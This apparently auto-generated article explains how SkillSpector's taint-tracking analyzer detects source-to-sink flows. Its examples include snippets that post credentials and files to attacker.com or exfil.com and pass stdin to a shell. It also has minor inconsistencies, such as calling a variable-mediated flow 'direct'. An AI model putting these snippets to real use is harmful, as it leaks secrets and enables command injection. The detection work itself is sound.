# How Behavioral Taint Tracking Works in SkillSpector: Detecting Source-to-Sink Data Flows

> Discover how NVIDIA SkillSpector's behavioral taint tracking detects data flows from sources to sinks using AST-based analysis and rule-based classification. Learn to identify sensitive value propagation.

- Repository: [NVIDIA Corporation/SkillSpector](https://github.com/NVIDIA/SkillSpector)
- Tags: deep-dive
- Published: 2026-06-18

---

**The behavioral taint tracking analyzer in NVIDIA SkillSpector implements a lightweight AST-based data-flow analysis that traces sensitive values from sources (like `os.getenv` or `open`) to sinks (like `requests.post` or `exec`) using a `tainted` variable dictionary and rule-based classification.**

The **behavioral taint tracking** system serves as a core security analyzer within the SkillSpector framework, identifying potential data exfiltration and code injection vulnerabilities in Python skill implementations. Located in [`src/skillspector/nodes/analyzers/behavioral_taint_tracking.py`](https://github.com/NVIDIA/SkillSpector/blob/main/src/skillspector/nodes/analyzers/behavioral_taint_tracking.py), this analyzer performs static analysis without executing code, mapping how untrusted data propagates through variables to dangerous sink operations.

## Core Architecture of the Behavioral Taint Tracking Analyzer

The analyzer operates on a **source-centric** model. It maintains a running dictionary of `tainted` variables (stored as `_TaintedVar` named tuples with `name`, `source_call`, and `lineno` fields) while scanning Abstract Syntax Trees (ASTs).

Sources and sinks are defined as curated whitelists at the top of the module. Sources include credential accessors (`os.getenv`, `os.environ`), file readers (`open`, `pathlib.Path.read_text`), and network inputs (`requests.get`, `sys.stdin.read`). Sinks cover network outputs (`requests.post`, `socket.send`), code execution (`exec`, `subprocess.run`), and file writes.

The analysis distinguishes between **direct flows** (source call passed directly to a sink) and **indirect flows** (source stored in a variable, propagated through assignments, then reaching a sink). This distinction determines whether rule **TT1** or **TT2** applies, while specific source-sink pairs trigger specialized rules like **TT3** (credential exfiltration), **TT4** (file-read leakage), and **TT5** (external input execution).

## Step-by-Step Taint Analysis Pipeline

### AST Parsing and Source Detection

The entry point `node(state)` iterates over files in `state["components"]`, invoking `_analyze_python` for each `.py` file. The function parses code using `ast.parse`, safely ignoring syntax errors.

During the AST walk, `_find_source_in_expr` identifies when an expression contains a source call. This includes direct calls like `os.getenv("API_KEY")` and subscript forms like `os.environ["SECRET"]`. When detected, `_mark_targets` records the assigned variable(s) in the `tainted` dictionary.

### Variable Tainting and Propagation

Taint spreads through the codebase via `_find_tainted_in_expr`. When processing subsequent assignments, if the right-hand side contains a previously tainted variable—even inside containers, f-strings, or binary operations—the new variable inherits the taint status.

For sink arguments, `_find_tainted_names_in_args` specifically checks if any tainted variables appear within the call's arguments. This enables detection of flows like `requests.post(url, data=tainted_var)` where the variable was tainted earlier in the function.

### Sink Detection and Nested Source Analysis

The analyzer resolves call names using `resolve_call_name_typed` (from [`common.py`](https://github.com/NVIDIA/SkillSpector/blob/main/common.py)) to match against `_ALL_SINKS`. For each sink invocation, `_find_nested_sources` performs a recursive descent through the call's child nodes to locate any source calls embedded directly in the arguments.

This catches patterns like `requests.post("https://attacker.com", data=open("secret.txt").read())`, where the file-read source is nested inside the network-output sink.

### Rule Classification and Finding Emission

The `_pick_rule(source_name, sink_name, is_direct)` function maps source-sink pairs to specific rule IDs:

- **TT3**: Credential source → Network output sink
- **TT4**: File-read source → Network output sink  
- **TT5**: External input (network/stdin) → Code execution sink
- **TT1**: Direct flow (generic, when no specific pair matches)
- **TT2**: Indirect flow (generic)

Finally, `_emit` creates an `AnalyzerFinding` object with severity and confidence levels drawn from `_RULE_SEVERITIES` and `_RULE_CONFIDENCES` static maps. The finding includes a human-readable message describing the flow path, line numbers, and source code context.

## Code Examples: Detecting Data Flow Vulnerabilities

### Direct Credential Exfiltration (TT3)

```python
import os
import requests

api_key = os.getenv("API_KEY")  # Source: credential

requests.post("https://attacker.com", data={"key": api_key})  # Sink: network

```

The analyzer flags `os.getenv` as a credential source and `requests.post` as a network sink. Because the flow is direct, `_pick_rule` returns **TT3** with high severity.

### Indirect Flow Through Containers (TT2)

```python
import os
import socket

secret = os.environ.get("TOKEN")  # Source marked as tainted

payload = {"token": secret}       # Taint propagates via dict

sock = socket.socket()
sock.connect(("attacker.com", 80))
sock.send(payload["token"].encode())  # Sink: network output

```

Here, `secret` is recorded in the `tainted` dictionary. The dict construction propagates taint, and `_find_tainted_names_in_args` discovers the variable inside `sock.send`. The indirect nature triggers rule **TT2**.

### Nested Source Inside Sink Arguments (TT4)

```python
import pathlib
import requests

requests.post("https://exfil.com", data=pathlib.Path("secret.txt").read_text())

```

`_find_nested_sources` uncovers `pathlib.Path.read_text` as a file-read source nested within the `requests.post` sink. This maps to rule **TT4**, indicating file content exfiltration.

### External Input to Code Execution (TT5)

```python
import sys
import subprocess

user_cmd = sys.stdin.read()  # Source: external input

subprocess.run(user_cmd, shell=True)  # Sink: code execution

```

The analyzer identifies `sys.stdin.read` as external input and `subprocess.run` as a code-execution sink. `_pick_rule` emits **TT5**, signaling a critical remote code execution risk.

## Summary

- The behavioral taint tracking analyzer in [`behavioral_taint_tracking.py`](https://github.com/NVIDIA/SkillSpector/blob/main/behavioral_taint_tracking.py) implements source-to-sink data flow analysis using AST parsing and variable tracking.
- It maintains a `tainted` dictionary of `_TaintedVar` objects to track how sensitive data propagates through assignments and containers.
- Detection relies on curated whitelists of sources (credentials, file reads, network input) and sinks (network output, code execution, file writes).
- The system classifies flows into five rule IDs: **TT1** (direct generic), **TT2** (indirect generic), **TT3** (credential leak), **TT4** (file leak), and **TT5** (unsafe execution).
- Nested source detection via `_find_nested_sources` catches complex flows where sources are arguments to sinks without intermediate variables.

## Frequently Asked Questions

### What is behavioral taint tracking in SkillSpector?

Behavioral taint tracking is a static analysis technique implemented in the SkillSpector framework that traces the flow of potentially sensitive data from entry points (sources) to dangerous operations (sinks) without executing the code. According to the NVIDIA SkillSpector source code, the analyzer parses Python ASTs to detect when values from `os.getenv`, `open`, or network calls reach sinks like `requests.post` or `exec`.

### How does the analyzer distinguish between direct and indirect taint flows?

The analyzer uses the `is_direct` boolean parameter in `_pick_rule` to differentiate flows. A **direct** flow occurs when a source call appears immediately as an argument to a sink (e.g., `sink(source())`), triggering rules like **TT1** or **TT3**. An **indirect** flow involves storing the source in a variable first, potentially propagating through containers or reassignments, which the analyzer tracks via `_find_tainted_in_expr` and flags with **TT2**.

### What are the TT3, TT4, and TT5 rule IDs?

These rule IDs represent specific high-risk source-to-sink patterns detected by the analyzer. **TT3** covers credential sources (like `os.getenv`) flowing to network outputs. **TT4** detects file-read operations (like `open().read()`) exfiltrated via network requests. **TT5** identifies when external input (network or stdin) reaches code execution sinks (like `exec` or `subprocess.run`), indicating potential remote code execution vulnerabilities.

### How does taint propagation handle container types like dictionaries and f-strings?

The analyzer propagates taint through complex expressions using `_find_tainted_in_expr`, which recursively examines container literals (lists, dicts, sets), f-strings, and binary operations. If any component of the expression contains a tainted variable, the entire expression is considered tainted, and the assigned variable is added to the `tainted` dictionary with the original source metadata preserved.